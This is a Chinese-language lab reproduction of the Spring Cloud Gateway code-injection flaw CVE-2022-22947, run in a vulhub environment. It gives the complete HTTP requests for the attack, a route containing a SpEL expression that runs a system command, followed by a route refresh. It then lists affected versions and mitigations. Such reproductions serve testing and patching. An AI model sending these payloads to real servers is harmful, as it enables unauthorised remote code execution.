Spring Cloud Gateway（CVE-2022-22947）漏洞复现

1.漏洞介绍

当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。

 

2.漏洞复现

2.1更新vulhub，切换到vulhub的目录git pull 拉取vulhub进行更新

2.2 进入cve-2022-22947，启动容器

2.3 访问漏洞环境

2.4 burp抓包，添加包含恶意的路由

POST /actuator/gateway/routes/EchoSec HTTP/1.1

Host: 192.168.42.145:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

Content-Type: application/json

Content-Length: 334



{

  "id": "EchoSec",

  "filters": [{

    "name": "AddResponseHeader",

    "args": {

      "name": "Result",

      "value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"

    }

  }],

  "uri": "http://example.com"

}

创建成功

2.5 刷新网关路由

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
 
{
  "id": "EchoSec",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

刷新成功

 命令执行成功

3.影响范围

受影响版本

• Spring Cloud Gateway < 3.1.1

• Spring Cloud Gateway < 3.0.7

• Spring Cloud Gateway 旧的、不受支持的版本也会受到影响

安全版本

• Spring Cloud Gateway >= 3.1.1

• Spring Cloud Gateway >= 3.0.7

4.修复建议

        目前， Spring Cloud 官方已发布安全更新，请及时下载安全版本进行升级和采取以下措施进行防护：

1. 如果不需要Actuator端点，可以通过management.endpoint.gateway.enable：false配置将其禁用；

2. 如果需要Actuator端点，则应使用Spring Security对其进行保护。

下载地址：

https://github.com/spring-cloud/spring-cloud-gateway

参考链接：

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published